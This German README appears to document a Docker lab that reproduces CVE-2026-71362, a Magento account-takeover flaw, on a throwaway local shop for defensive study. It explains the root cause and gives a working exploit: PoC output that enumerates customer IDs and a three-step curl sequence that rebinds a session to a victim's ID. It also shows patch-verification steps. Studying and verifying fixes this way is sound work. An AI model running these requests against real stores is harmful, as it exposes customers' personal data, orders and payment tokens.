CVE-2026-71362 — Magento / Adobe Commerce Labor zum Identitätswechsel der Kundensitzung

Ein in sich geschlossenes Docker-Labor mit einem einzigen Befehl, das CVE-2026-71362 Ende-zu-Ende reproduziert und es Ihnen ermöglicht, Adobes Fix zu verifizieren, damit Verteidiger, Forscher und Studenten eine echte Kontenübernahme-Primitive an einem Wegwerf-Shop untersuchen können.

⚠️ Nur für autorisierte Nutzung

Dieses Labor dient dazu, eine öffentliche, gepatchte Schwachstelle für defensive Forschung und Ausbildung zu reproduzieren. Führen Sie es nur gegen den Wegwerf-Shop aus, den es erstellt. Verwenden Sie es nicht gegen eine Magento-/Adobe-Commerce-Instanz, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Testgenehmigung haben. Sie sind für die Einhaltung aller geltenden Gesetze verantwortlich.

Was der Fehler ist (30-Sekunden-Version)

Magento\Customer\Controller\Account\Edit::execute() führt die rohen, vom Angreifer kontrollierten customer_form_data, die von einem fehlgeschlagenen editPost in der Sitzung zurückbleiben, in DataObjectHelper::populateWithArray() ein, das jeden passenden Schlüssel auf das Kundenobjekt kopiert — einschließlich id. Das Objekt wird anschließend mit Session::setCustomerData() → setCustomerId($object->getId()) zurückgeschrieben, und da Customer\Model\Session::getId() einfach nur getCustomerId() zurückgibt, führt das Überschreiben von customer_id allein dazu, dass isLoggedIn() in der Rolle des Opfers true zurückgibt. Keine Passwort-, Token- oder Eigentümerprüfung. Ein Angreifer, der nur über ein selbstregistriertes Wegwerfkonto verfügt, kann seine Sitzung an Kunden-ID neu binden und die PII, Bestellungen, Adressen und gespeicherten Zahlungstokens dieses Kontos auslesen.

Vollständiger Walkthrough: docs/ROOTCAUSE.md. Erkennungs- und WAF-Regeln: docs/DETECTION.md.

attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=<VICTIM>)  ─► exception ─►
                        session.customer_form_data = {... id: <VICTIM> ...}
                              │
                              ▼
                        GET /customer/account/edit
                        populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              ▼
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.

Voraussetzungen

• Docker + Docker Compose v2
• ~6 GB freier RAM für die Container, ~5 GB Festplatte
• Python 3 (nur um den PoC auszuführen) — pip install -r exploit/requirements.txt

Das Build bezieht Magento Open Source aus öffentlichen Quellen; keine Adobe-Marketplace-Schlüssel erforderlich.

Schnellstart

git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC

Storefront: http://127.0.0.1:8080/ · Admin: http://127.0.0.1:8080/admin (admin / Admin123!). Ändern Sie Host/Port in .env (siehe .env.example) — der Wert muss mit der von Ihnen aufgerufenen URL übereinstimmen, da Magento sein Sitzungscookie an die Basis-URL des Shops bindet.

Erwartete PoC-Ausgabe (verwundbar)

[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.

Den Fix nachweisen (A/B/A-Negativkontrolle)

make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again

make patch tauscht patch/Edit.patched.php ein — die exakte Upstream-Änderung aus patch/official-APSB26-92-module-customer.patch. Das Ein- und Ausschalten nur dieser einen Datei ist das Orakel dafür, dass der Fehler genau dieser Hunk ist.

Manuelle Reproduktion (ohne Python)

# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode [email protected] \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key=<FK2> --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode [email protected]

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'

Behebung (echte Shops)

Wenden Sie den isolierten August-2026-Patch APSB26-92 für Ihren Branch an (24Xp-2026-08-001-CE). Adobe stellt die Patch-Registry und Rohdiffs ohne Anmeldedaten unter https://repo.magento.com/patch/patch-registry.json bereit. Der Fix ist nicht auf öffentlichem GitHub — es wurde kein Composer-Paket oder Git-Tag dafür veröffentlicht, daher wird composer update ihn nicht laden.

Layout

docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics

Fehlerbehebung

• PoC meldet „still installing“ — der erste Start kompiliert Magento; führen Sie make logs aus und warten Sie auf Install complete, dann make wait.
• Direkt nach der Installation liefert alles 500er — ein Berechtigungs-Wettlauf in generated/; make shell, dann php bin/magento cache:flush (der Entrypoint erledigt das normalerweise).
• Cookie-/CSRF-Probleme — Sie rufen einen anderen Host auf als die Basis-URL des Shops. Halten Sie MAGENTO_HOST/HOST_PORT in .env gleich der URL, die Sie (und TARGET) verwenden.

Referenzen

• Adobe APSB26-92 · NVD CVE-2026-71362
• Sansec — Adobe patcht kritische Magento-Kontenübernahme (APSB26-92)
• Genannter Forscher: 0x0.eth

Lizenz

MIT — siehe LICENSE. Bereitgestellt für Bildung und autorisierte Tests, ohne Gewährleistung.